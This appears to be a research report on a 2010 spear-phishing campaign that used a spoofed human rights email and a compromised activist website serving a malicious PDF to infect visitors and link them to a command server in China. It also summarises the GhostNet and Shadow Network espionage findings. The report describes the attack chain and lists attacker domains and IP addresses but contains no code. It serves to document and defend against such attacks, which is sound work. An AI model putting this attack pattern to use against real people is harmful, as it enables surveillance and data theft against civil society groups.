Introduction

Internet censorship is but one component of “a matrix of control” that acts to restrict and control information flow in China. The combination of censorship along with surveillance aims to influence behavior toward self-censorship so that most will not actively seek out banned information, let alone the means to bypass these controls. Those engaged in political activities and those who vocally oppose repressive policies such as censorship may be subjected to a complex set of threats—not simply censorship.

A 2008 report titled Breaching Trust: An Analysis of Surveillance and Security Practices on China’s TOM-Skype Platform uncovered that Skype and its Chinese partner Tom Online operated a surveillance network which insecurely captured millions of records including contact details for any text chat and/or voice calls and the full text of sensitive chat messages. A large portion of these captured messages concerned a political campaign that urged Chinese citizens to quit the Communist Party.

There have been an increasing number of targeted malware attacks against civil society organizations, human rights groups, media organizations, and Tibetan supporters. Typically, the targeted user receives an email, possibly appearing to be from someone they know who is a real person within his or her organization, with some text—sometimes specific, sometimes generic—that urges the user to open an attachment (or visit a web site), usually a PDF or Microsoft Office document .

If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other types of software are also being exploited) and no other mitigations are in place, their computer will likely be compromised. A clean version of the document is typically embedded in the malicious file and is opened upon successful exploitation so as not to arouse suspicion of the recipient.

Then the user’s computer checks in with a command and control server. At this point, the attacker has full control of the user’s system. The attacker can steal documents, email and send other data, or force the compromised computer to download additional malware and possibly use the infected computer as a mechanism to exploit the victim’s contacts or other computers on the target network.

In the last year, the Information Warfare Monitor has uncovered two cyber-espionage networks, investigated numerous targeted malware attacks, and published two reports: Tracking GhostNet: Investigating a Cyber Espionage Network and Shadows in the Cloud: An Investigation into Cyber Espionage 2.0.

The first, GhostNet, was a network of over 1200 compromised computers spread across 103 countries, 30 percent of which we identified and determined to be “high-value” targets, including ministries of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO headquarters. While we were able to determine that these entities had been compromised, we were only able to theorize about what type of data the attackers were able to acquire.

Our follow-up investigation uncovered the Shadow Network, and unlike GhostNet we were able to acquire the data stolen by the attackers. We were able to access just one portion of the Shadow Network that was primarily focused on extracting sensitive information from India. We recovered a wide variety of documents, including one document that appeared to be encrypted diplomatic correspondence, two documents marked “SECRET,” six as “RESTRICTED,” and five as “CONFIDENTIAL” which appear to belong to Indian government entities including the National Security Council Secretariat (NSCS) of India, the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria. We also recovered documents including 1,500 letters sent from the Dalai Lama’s office between January and November 2009.

The nature of the compromised entities and the data stolen by the attackers do indicate correlations with the strategic interests of the People’s Republic of China, but, we were unable to determine any direct connection between these attackers and elements of the Chinese state.

Investigation

Summary

On March 18, 2010, attackers sent a “spear phishing” email that appeared to originate from Sharon Hom’s email account to several different organizations and individuals. The subject of the email was “Microsoft, Stool Pigeon for the Cops and FBI” and the email contained a JPG attachment. However, the attackers’ objective was for the targets to visit the link contained in the email. The link, www.cfcr2008.org, redirected to cfcr.i1024.com which was compromised by the attackers and in which they had inserted code that caused visitors to the website to open a malicious PDF from www.520520.com.tw. This PDF exploited Adobe Reader and compromised the visitors computer. Compromised computers then connected to a website under the attackers’ control, www.humanright-watch.org, and downloaded additional malware before ultimately connecting to a command and control server, 360liveupdate. com, in China.

Spoofed Email

Email Headers

Although the email appeared to be from HRIC it was actually sent from the following location:

The email headers reveal that the attackers actually sent the email from the following IP address:

The email encouraged recipients to visit cfcr2008.org, the website of an organization called the Coalition for Citizen’s Rights. This organization is a vocal opponent of the Chinese government.

The attackers compromised the website and inserted malicious code that caused vulnerable visitors to silently load a malicious PDF document that infected the users computer with malware.

Image 1 Compromised site: cfcr2008.org -> cfcr.i1024.com

Image 2 js_men.asp

The malicious PDF was hosted on www.520520.com.tw (203.69.42.41), a website located in Taiwan. This malicious file has very low antivirus coverage. Only eight out of forty-two anti-virus products detected the file as malware.

Item 3

The malware dropped by the malicious PDF issued another connection, this time to www.humanright-watch.org (204.16.193.39). This is a server under the control of the attackers. The malware made a request for another executable, which appeared to be encrypted and which no antivirus products detected as malicious.

Item 4

Interestingly, the IP address of www.humanright-watch.org (204.16.193.39) is assigned to the same company, DCS Pacific Star, LLC, as the IP address used to send the malicious email (208.77.45.130).

The new malware downloaded from www.humanright-watch.org (204.16.193.39) began encrypted communications with a command and control server located in China at 360liveupdate.com(117.85.48.157).

The command and control server is located in Jiangsu Province, China:

Conclusion

The nexus of censorship, surveillance, and malware attacks enable strict information control policies in China that extend beyond China’s boundaries to affect civil society organizations around the world. An increasing number of targeted malware attacks against civil society organizations are being reported. In many cases, the attacks can be traced back to command and control infrastructure located in China. These attacks leverage trust among members of social and political networks using human rights themes and spoofed identities to encourage targeted users to execute malicious code. From that point, unknown attackers have full control over the users’ computers and can conduct surveillance, exfiltrate sensitive information, and use the computer as a staging ground for future attacks.
